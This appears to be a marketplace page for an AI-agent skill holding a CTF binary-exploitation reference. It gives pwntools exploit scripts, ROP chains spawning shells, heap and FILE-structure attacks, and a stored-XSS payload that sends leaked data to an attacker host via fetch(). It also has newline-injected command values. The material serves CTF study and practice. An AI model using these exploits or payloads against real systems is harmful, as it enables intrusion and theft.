All skills
ljagiello avatar

/ctf-pwn

@61c2efe
by Lukasz Jagielloljagiello/ctf-skills3.4k stars
393

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

Use this Skill: https://skilld.dev/gh/ljagiello/ctf-skills/ctf-pwn

This session only. Nothing lands on disk.

advanced-exploits-2.md

≈7.6k tokens on demand. Your agent reads this file only when SKILL.md points to it.

CTF Pwn - Advanced Exploit Techniques (Part 2)

Table of Contents


Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)

Pattern (Registered Stack): Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., push fs → syscall).

Key technique: push fs encodes as 0f a0, and syscall as 0f 05. The validator accepts push fs, but at runtime a preceding push rbx overwrites the a0 byte with 05 on the stack, turning it into syscall.

Exploit structure:

  1. Use pop instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR)
  2. Seed specific stack values for pop sp instruction (pivots to controlled location)
  3. Place syscall gadget disguised as push fs with self-modifying byte mutation
  4. Use read(0, stage2_buf, size) syscall to load stage 2
  5. Stage 2 contains interactive shell code
code = []
code += [0x59] * 30              # pop rcx x30 → rsp += 0xf0
code += [0x66, 0x5c]             # pop sp → pivot to seeded value
code += [0x50] * 17              # push rax x17 (adjust stack)
code += [0x66, 0x50]             # push ax
code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read)
code += [0x50] * 66              # push rax x66
code += [0x66, 0x59]             # pop cx
code += [0x53]                   # push rbx → overwrites next byte!
# Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0
# After push rbx mutates 0xa0 → 0x05: becomes syscall
code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]

Key insight: Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., 0f a0 → 0f 05). Use preceding instructions to write the mutation byte onto the stack/code region.


io_uring UAF with SQE Injection (ApoorvCTF 2026)

Pattern (Abyss): Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.

Exploitation chain:

  1. Exhaust both slab allocators (fill all slots)
  2. Leak PIE base from STATUS response
  3. FLUSH frees objects (UAF — pointers remain valid)
  4. Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary)
  5. Write crafted io_uring SQE into reused memory
  6. Worker thread submits SQE as-is → IORING_OP_OPENAT opens flag file

io_uring SQE structure for file read:

import struct

def craft_sqe(pie_base, flag_path_offset=0x6010):
    sqe = bytearray(64)
    struct.pack_into('B', sqe, 0, 0x12)       # opcode = IORING_OP_OPENAT
    struct.pack_into('i', sqe, 4, -100)        # fd = AT_FDCWD
    struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset)  # addr = "/flag.txt"
    return bytes(sqe)

Key insight: io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.

Detection: Binary uses io_uring_setup/io_uring_enter syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.


Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)

Pattern (Archive): Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.

# Value 65534: int32=65534 (passes >= 0), int16=-2 (passes <= 3)
# ring_array[-2] reads 16 bytes before array → leaks GOT/PIE pointers
payload = str(65534).encode()  # Sends as positive int, server casts to int16

Dynamic fd capture via xchg rdi, rax:

In Docker/socat environments, open() may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.

# Standard ORW fails in Docker:
# open("/flag.txt") → fd=5 (not 3!)
# read(3, buf, size) → reads wrong fd

# Fix: xchg rdi, rax captures open()'s return value dynamically
rop = ROP(libc)
rop.raw(pop_rdi)
rop.raw(flag_str_addr)
rop.raw(pop_rsi)
rop.raw(0)  # O_RDONLY
rop.raw(libc.sym.open)
rop.raw(libc_base + 0x181fe1)  # xchg rdi, rax; cld; ret
# rdi now holds actual fd from open()
rop.raw(pop_rsi)
rop.raw(buf_addr)
rop.raw(pop_rdx_xor_eax)  # pop rdx; xor eax, eax; ret (dual-purpose!)
rop.raw(0x100)  # rdx = size, eax = 0 (SYS_read)
rop.raw(libc.sym.read)  # read(actual_fd, buf, 0x100)

Key insight: xchg rdi, rax; cld; ret is the critical gadget for containerized ORW — it passes open()'s actual return value to read() without hardcoding the fd number. The pop rdx; xor eax, eax; ret gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).


GC Null-Reference Cascading Corruption (DiceCTF 2026)

Pattern (Garden): Custom stack-based VM with mark-compact GC. GC's mark_reachable() follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, memmove copies this fake object first, corrupting adjacent real object headers.

Exploit chain:

  1. Cascading memmove — Set up sacrificial array SAC with entries[0]=0xFFFF, large array BIG (196 entries) with entries[195]=0x00040005, off-heap object OH

    • Null-ref GC corrupts SAC's header to {0,0} (length=0)
    • SAC's entry 0xFFFF cascades into BIG's header → BIG.length = 0xFFFF (OOB!)
    • BIG's entry 0x00040005 cascades into OH's header → OH stays valid
  2. OOB expansion — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap

  3. Libc leak — Create 70+ extra objects so GC's ctx.objs allocation exceeds 0x410 bytes → freed to unsorted bin → main_arena pointers readable via OH

  4. House of Apple 2 FSOP — Build fake FILE in OH's data buffer:

# Fake FILE structure
fake_file = flat({
    0x00: b'$0\x00\x00',             # _flags — system("$0") spawns shell
    0x20: p64(0),                      # _IO_write_base = 0
    0x28: p64(1),                      # _IO_write_ptr = 1 (> write_base)
    0x88: p64(heap_lock_addr),         # _lock (valid writable addr)
    0xa0: p64(wide_data_addr),         # _wide_data
    0xc0: p64(1),                      # _mode = 1 (triggers wide path)
    0xd8: p64(io_wfile_jumps),         # vtable = _IO_wfile_jumps
})
# Fake _IO_wide_data
fake_wide = flat({
    0x18: p64(0),                      # _IO_write_base = 0
    0x30: p64(0),                      # _IO_buf_base = 0
    0xe0: p64(fake_wide_vtable_addr),  # _wide_vtable
})
# Fake wide vtable with __doallocate = system
fake_wide_vtable = flat({
    0x68: p64(libc.sym.system),
})
# Overwrite _IO_list_all to point to fake FILE
  1. Trigger — Program exit → _IO_flush_all → fake FILE → _IO_wfile_overflow → _IO_wdoallocbuf → system("$0") → shell

system("$0") trick: $0 expands to the shell name when run via system(). Using "$0\x00\x00" as _flags means system(fp) calls system("$0") which spawns a shell.

Key insight: Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.

STORE array pattern for VM stack management: When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.


Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)

Pattern (Eyeless): No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake stdout FILE structure on BSS via ROP, then call fflush(stdout) to leak a GOT entry containing a libc address.

The null byte problem: fgets appends \x00 after reading. Libc pointers are 6 bytes + 2 null MSBs (0x00007f...). Writing an 8-byte pointer via fgets corrupts the byte after it with \x00. Directly writing adjacent FILE struct fields is impossible without corruption.

Multi-fgets solution: Chain multiple fgets(addr, 7, stdin) calls, each writing 7 bytes. The null byte from each fgets lands on the next field's null MSB (harmless for libc pointers):

# Build ROP chain that calls fgets multiple times to construct stdout on BSS
# Each call writes 7 bytes; null byte falls on canonical address's 0x00 MSB
FAKE_STDOUT = BSS + 0x800

# Write _flags field
rop += fgets_call(FAKE_STDOUT, 7)      # write 0xfbad2087 + padding
# Write _IO_write_base = GOT address (the value to leak)
rop += fgets_call(FAKE_STDOUT + 0x20, 7)  # write &fflush@GOT
# Write _IO_write_end = GOT address + 8 (controls how many bytes leak)
rop += fgets_call(FAKE_STDOUT + 0x28, 7)  # write &fflush@GOT + 8
# ... (zero-fill remaining fields via earlier memset or BSS zeroes)

# Overwrite stdout pointer and flush
rop += flat(POP_RDI, FAKE_STDOUT)
rop += flat(elf.plt['fflush'])  # fflush(fake_stdout) → writes GOT content

Receiving the leak:

# fflush writes 8 bytes from _IO_write_base to _IO_write_end
leak = u64(p.recv(8))
libc_base = leak - libc.sym.fflush

Key insight: fgets always appends \x00, but libc addresses already end with \x00\x00 in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.

When to use: Binary has fgets or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple fgets calls.


Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)

Pattern (heapn⊕te-ic): Message structure stores size as signed char but encryption/display casts to unsigned char. Passing size = -112 stores as char(-112), but (unsigned char)(-112) = 144. With a 127-byte buffer, this gives a 17-byte heap overflow.

Key insight: The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from char to unsigned char in C, common when size fields use char instead of size_t.

XOR Cipher Keystream Brute-Force Write Primitive

The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:

def hash_string(s):
    h = 5381
    for c in s:
        h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
    return h

def get_keystream_byte(seed, x):
    h = hash_string(str(seed).encode())
    for _ in range(x // 8):
        h = hash_string(str(h).encode())
    return p64(h)[x % 8]

def brute_seed(x, target_byte):
    for seed in range(0xFFFFFFFF):
        if get_keystream_byte(seed, x) == target_byte:
            return seed

Key insight: Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.

Byte-by-byte write primitive:

def write_byte(pos, target_byte, idx, leak=False):
    add(underflow(pos), b"A", brute_seed(pos, target_byte))
    if leak:
        data = view(idx)
    delete(idx)
    add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
    delete(idx)
    return data

def overflow_write(offset, payload, idx):
    for i, byte in enumerate(payload):
        write_byte(offset + i, byte, idx)

Tcache Pointer Decryption for Heap Leak

Allocate two chunks, free in LIFO order. The mangled tcache fd pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:

# fd is mangled: fd = ptr ^ (chunk_addr >> 12)
# When first tcache entry points to NULL (second free):
# fd = 0 ^ (chunk_addr >> 12) = chunk_addr >> 12
# Shift left to recover: heap_addr = fd_pointer << 12
heap_leak = u64(leaked_fd) << 12

Key insight: The first entry in a tcache bin has fd = NULL ^ (addr >> 12), so fd << 12 directly yields the heap base region. No brute-force needed.

Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)

To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):

# Overwrite adjacent chunk's size field to 0x431
overflow_write(size_offset, p64(0x431), chunk_idx)
# Ensure fake next_chunk passes: next_chunk.size & PREV_INUSE set
# next_chunk + 0x431 must point to a region with valid size field
# Free the forged chunk → pushed to unsorted bin
# fd/bk now point to main_arena+96
libc_base = u64(leaked_fd) - 0x203b20  # offset to main_arena+96

Key insight: Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that chunk_at_offset(p, size)->size has PREV_INUSE set and is reasonable. Pre-place valid metadata at that boundary.

FSOP Stdout Redirection for TLS Segment Leak

Tcache poison toward _IO_2_1_stdout_ - 0x20 to craft a fake FILE structure that leaks the TLS segment address:

# Poison tcache to allocate at _IO_2_1_stdout_ - 0x20
# Craft fake FILE with _IO_write_base pointing to TLS area
# When stdout flushes, it writes from _IO_write_base to _IO_write_ptr
# Scan output for address ending in 0x...740 (TLS alignment pattern)
# TLS mangle cookie is at tls_addr + 0x30

Key insight: Redirecting _IO_write_base of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.

TLS Destructor Overwrite for RCE via __call_tls_dtors

The TLS destructor list (__tls_dtor_list) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:

def rol(val, bits, width=64):
    return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)

# Mangle function pointers with leaked pointer guard
pointer_guard = tls_leak  # from stdout FSOP leak
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)

# Craft TLS destructor list node
# struct dtor_list { dtor_func func; void *obj; struct dtor_list *next; }
node1 = p64(0) * 2           # padding
node1 += p64(0x111)          # fake chunk size
node1 += p64(encoded_setuid) # func = setuid(0)
node1 += p64(0)              # obj = 0 (root)
node1 += p64(heap_addr + node2_offset) * 2  # next → node2

node2 = p64(encoded_system)  # func = system("/bin/sh")
node2 += p64(binsh_addr)     # obj = "/bin/sh"
node2 += p64(0)              # next = NULL (end of list)

Full chain: integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → __call_tls_dtors hijack → setuid(0) + system("/bin/sh").

Key insight: __call_tls_dtors iterates a singly-linked list calling PTR_DEMANGLE(func)(obj) for each entry. Demangling is ror(val, 0x11) ^ pointer_guard. To encode: rol(target ^ pointer_guard, 0x11). The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.

When to use: Modern glibc (2.34+) where __free_hook/__malloc_hook are removed and FSOP via _IO_wfile_jumps (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.


Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)

Pattern (Revenant): Binary implements a userland shadow stack in .bss — each function call pushes the return address to both the hardware stack and a shadow_stack[] array, validating them on return. The shadow_stack_ptr index increments on every call but is never bounds-checked, allowing it to overflow past the array into adjacent .bss variables.

Binary protections:

  • Full RELRO, NX enabled, PIE disabled (fixed addresses)
  • SHSTK and IBT enabled (Intel CET — hardware shadow stack)
  • No stack canary

.bss memory layout:

0x406000: shadow_stack[512]   (512 × 8 = 4096 bytes)
0x407000: username[16]        (user-controlled via input)
0x407040: shadow_stack_ptr    (index into shadow_stack)
0x407048: shadow_stack_base

Exploitation strategy:

  1. Trigger controlled recursion (e.g., do_reset() → play() loop) to increment shadow_stack_ptr exactly 512 times
  2. After 512 iterations, shadow_stack_ptr points to username (user-controlled buffer)
  3. Write the win() address into username via normal input
  4. Overflow the stack buffer to overwrite the hardware return address with win()
  5. On return, both shadow stack and hardware stack contain win() — validation passes

Exploit code (pwntools):

from pwn import *

exe = ELF('./revenant')
io = process('./revenant')

# Calculate iterations needed to overflow shadow_stack_ptr to username
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8  # 512

# Step 1: Write win() address into username buffer
name = fit(exe.symbols["win"])

# Step 2: Recurse 512 times to advance shadow_stack_ptr to username
for i in range(iterations):
    io.sendlineafter(b"Survivor name:\n", name)
    io.sendlineafter(b"[0] Flee", b"4")  # Trigger do_reset() -> play()

# Step 3: Overflow stack buffer with win() address
padding = 56  # offset to return address (32-byte buf + 24 bytes)
payload = fit({padding: exe.symbols["win"]})
io.sendlineafter(b"(0-255):\n", payload)

io.interactive()

Key insight: Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is (target_addr - shadow_stack_base) / pointer_size.

Detection pattern: Look for:

  • .bss arrays used as shadow stacks (paired push/pop with function calls)
  • Missing bounds check on the index variable
  • User-writable .bss variables adjacent to (above) the shadow stack array
  • Recursive function calls controllable from user input

Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)

Pattern (Canvas of Fear): Web application wraps a native binary (canvas_manager) behind a Flask API, with admin endpoints restricted to 127.0.0.1. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as y * width + x using a signed 32-bit int. Supplying large y values overflows the multiplication to a negative result, passing the bounds check (index < width * height) while accessing memory before the data buffer — a negative OOB heap write primitive.

Three-layer exploit chain:

  1. Stored XSS (Flask |safe Jinja filter) → admin bot executes JS at 127.0.0.1
  2. XSS payloads call admin API (Fetch API) → triggers binary commands
  3. Integer overflow → heap corruption → libc/stack leak → ROP chain

Heap Primitive: Signed Int Overflow in Index Calculation

The pixel index formula y * width + x wraps in 32-bit signed arithmetic:

# For a 50x50 canvas: (8589934591 * 50 + 42) as int32 = -8
# After ×3 for RGB byte offset: -24 bytes before the data buffer
# This overwrites the canvas struct's height field (preceding the data on heap)
cmd(b'SET 1 42 8589934591 0x340000')  # overwrite height: 0x32 → 0x34

Key insight: The bounds check index < width * height uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.

Full Exploitation Chain

from pwn import *

# Step 1: Create canvases — canvas 3 acts as consolidation blocker
cmd(b'CREATE 1 50 50')   # large canvas (target for OOB write)
cmd(b'CREATE 2 20 20')   # victim (will be freed for unsorted bin leak)
cmd(b'CREATE 3 20 20')   # pivot (data pointer will be overwritten)

# Step 2: Free canvas 2 → unsorted bin puts libc pointers on heap
cmd(b'DELETE 2')

# Step 3: Overflow canvas 1's height field (0x32 → 0x34)
cmd(b'SET 1 42 8589934591 0x340000')

# Step 4: Read canvas 1 (now oversized) to leak heap + libc from freed chunk
cmd(b'GET 1')
# Parse RGB output: skip to offset 2507, extract fd/bk pointers
# heap_base = unpack(data[2:10]) << 12
# libc.address = unpack(data[34:42]) - 0x1edcc0

# Step 5: Remove size limit for full OOB write
cmd(b'SET 1 42 8589934591 0xffffff')

# Step 6: Overwrite canvas 3's data pointer → libc.sym['environ']
# Offset 0x2250 bytes from canvas 1's data to canvas 3's pointer field
target = unpack(pack(libc.sym["environ"]), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())

# Step 7: Read canvas 3 → reads *environ → stack leak
cmd(b'GET 3')
# main_ret = stack_leak - 0x140

# Step 8: Redirect canvas 3 pointer → main's return address on stack
target = unpack(pack(main_ret), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())

# Step 9: Write ROP chain via canvas 3 (3 bytes per pixel = per SET)
pop_rdi = libc.address + 0x2d7a2
ret = libc.address + 0x2c495
binsh = next(libc.search(b'/bin/sh\x00'))
payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
for i in range(0, len(payload), 3):
    block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
    cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())

# Step 10: EXIT triggers main() return → ROP chain executes
cmd(b'EXIT')

XSS-to-Binary Pwn Bridge

When the binary is behind a web API with admin-only endpoints:

  1. Stored XSS via Flask |safe: User messages rendered with {{ msg.content | safe }} bypass Jinja autoescaping. Submit <script type="module">...</script> via the public message endpoint
  2. Admin bot visits /admin/messages from 127.0.0.1 → XSS executes
  3. Multi-stage payloads: Each XSS stage calls admin API endpoints via fetch(), exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
    // Stage 1: trigger heap commands, exfiltrate leak
    var res = await fetch("/api/canvas/get/1");
    var data = await res.json();
    await fetch('http://attacker:5000/', {
        method: 'POST', mode: 'no-cors',
        body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
    });
  4. Newline injection for command stacking: The API uses pwntools.sendline() to forward user input to the binary. Injecting \n in a parameter (e.g., "color": "#000000\nEXIT\n") executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:
    // Inject EXIT without triggering restart, then run shell commands
    body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"})
    // Subsequent requests inject shell commands:
    body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})

Key insight: The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The environ → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through sendline() enables command stacking.

Detection pattern:

  • Index computation using signed int multiplication on user-controlled values
  • Bounds check using signed comparison (negative values always pass)
  • Adjacent heap allocations where metadata/pointers follow data buffers
  • Web API that passes user input directly to process.sendline() without newline sanitization
  • Flask templates with |safe filter on user-controlled content

atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)

Pattern: glibc's atexit handlers are protected by PTR_MANGLE, which applies XOR secret + ROT17 to function pointers. With an arbitrary read primitive, recover the mangling secret from a known mangled pointer, then forge arbitrary atexit entries for code execution.

PTR_MANGLE internals:

// glibc pointer mangling:
//   mangled = ROL17(ptr ^ secret)
//   original = ROR17(mangled) ^ secret
// The secret is stored in TLS at a fixed offset from the thread control block
// (fs:[0x30] on x86-64)

Recovering the secret:

from pwn import *

def ror17(val, bits=64):
    """Rotate right by 17"""
    return ((val >> 17) | (val << (bits - 17))) & ((1 << bits) - 1)

def rol17(val, bits=64):
    """Rotate left by 17"""
    return ((val << 17) | (val >> (bits - 17))) & ((1 << bits) - 1)

# Step 1: Read a mangled pointer from the initial atexit list
# The first entry is typically _dl_fini, registered by the dynamic linker
mangled_ptr = arb_read(atexit_list_addr + FUNC_PTR_OFFSET)

# Step 2: If you know the original function address (e.g., _dl_fini):
secret = ror17(mangled_ptr) ^ known_dl_fini_addr

# Step 3: Forge your own mangled pointer to target function
forged = rol17(target_addr ^ secret)

# Step 4: Overwrite atexit entry with forged pointer
arb_write(atexit_list_addr + FUNC_PTR_OFFSET, forged)
# Normal program exit calls the forged handler → code execution

Finding _dl_fini remotely (without server's ld.so):

# ld.so is loaded immediately after libc in the address space
# Scan forward from end of libc for the ELF header (4KB-aligned)
ld_base = None
scan_addr = libc_end
while True:
    page = arb_read(scan_addr, 4)
    if page == b'\x7fELF':
        ld_base = scan_addr
        break
    scan_addr += 0x1000  # 4KB page alignment

# Read ld.so's ELF header to find entry point
ehdr = arb_read(ld_base, 0x40)
e_entry = u64(ehdr[0x18:0x20])  # ELF entry point (offset in file)

# _dl_fini is referenced from ld.so's _start via: lea rdx, [rip+X]
# Read the instruction bytes at the entry point to decode the offset
entry_code = arb_read(ld_base + e_entry, 0x20)
# Parse lea rdx, [rip+X] (opcode: 48 8d 15 XX XX XX XX)
lea_offset = entry_code.index(b'\x48\x8d\x15')
rip_offset = u32(entry_code[lea_offset+3:lea_offset+7])
dl_fini = ld_base + e_entry + lea_offset + 7 + rip_offset

Key insight: glibc's PTR_MANGLE uses XOR secret + ROT17. The secret is stored in TLS at a fixed offset from the thread control block. If you can read ANY mangled pointer whose original value is known (like _dl_fini in the initial atexit list), you can recover the secret and forge arbitrary mangled pointers. The initial atexit list always contains _dl_fini as the first registered handler, making it the ideal known-plaintext target.

When to recognize: Challenge provides an arbitrary read primitive and you need code execution via exit handlers. Also applies to any glibc structure using PTR_MANGLE (TLS destructors, __exit_funcs, longjmp buffers). The same XOR+ROT17 scheme protects all of them with the same per-thread secret.

References: 0x00CTF 2017

Source: SKILL.md on GitHub

2 alerts16d5 checks · Risk SAFE
  • Gen Agent Trust Hub16d

    The skill provides a comprehensive toolkit for binary exploitation (pwn) in CTF challenges, including instructions for environment setup and payload generation. While it involves potentially dangerous capabilities like arbitrary command execution and tool installation, these are consistent with its stated educational and competitive purpose.

  • Socket16d

    12 alerts: gptSecurity, gptAnomaly, gptMalware

  • Snyk16d

    Risk: LOW · No issues

  • Runlayer6mo

    7/7 files flagged

  • ZeroLeaks5mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at 61c2efe. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub 3 weeks ago.

Activeupdated 3 weeks ago
metadata
{
  "user-invocable": "false"
}
All 1 allowed tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch
Other metadata
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
  • binary-exploitation
  • ctf
  • rop
  • shellcode
  • heap
  • pwn
  • gdb
  • pwntools
  • kernel
  • seccomp

README badge

README badge for ljagiello/ctf-skills/ctf-pwn

Provides binary exploitation techniques for CTF challenges targeting memory corruption and low-level primitives like buffer overflows, format strings, heap bugs, ROP chains, and kernel exploits. Includes detailed references for ret2libc, ret2csu, SROP, seccomp bypass, heap techniques (House of Apple, tcache poisoning), FILE structure exploitation, and Windows/Linux privilege escalation — but assumes the vulnerable binary is already identified and does not cover reverse engineering or standalone crypto challenges.

Generated from the current SKILL.md.

Does this skill cover heap exploitation?
Yes. The skill includes techniques for House of Apple 2, House of Einherjar, tcache poisoning, FILE structure exploitation, and UAF attacks across glibc and custom allocators.
What platforms and architectures does this support?
Linux (x86, x86_64, ARM) and Windows (SEH-based exploits). macOS is supported for development tools but target exploitation assumes Linux or Windows binaries.
Does this cover kernel exploitation?
Yes. The skill includes kernel ROP, tty_struct heap spray, KASLR/KPTI/SMEP bypass, modprobe_path overwrite, and privilege escalation via ret2usr and kernel memory corruption.
When should I use this skill instead of reverse engineering?
Use this skill when you already understand what the binary does and need to convert a known vulnerability (buffer overflow, format string, UAF, etc.) into code execution. Switch to reverse engineering first if the main blocker is understanding the binary's purpose or control flow.
Does this skill handle web bugs or cryptographic challenges?
No. The skill excludes pure web bugs, disk/packet forensics, and standalone crypto/math challenges. Use ctf-web or ctf-crypto for those domains instead.

Generated from the current SKILL.md. These answers refresh after source changes.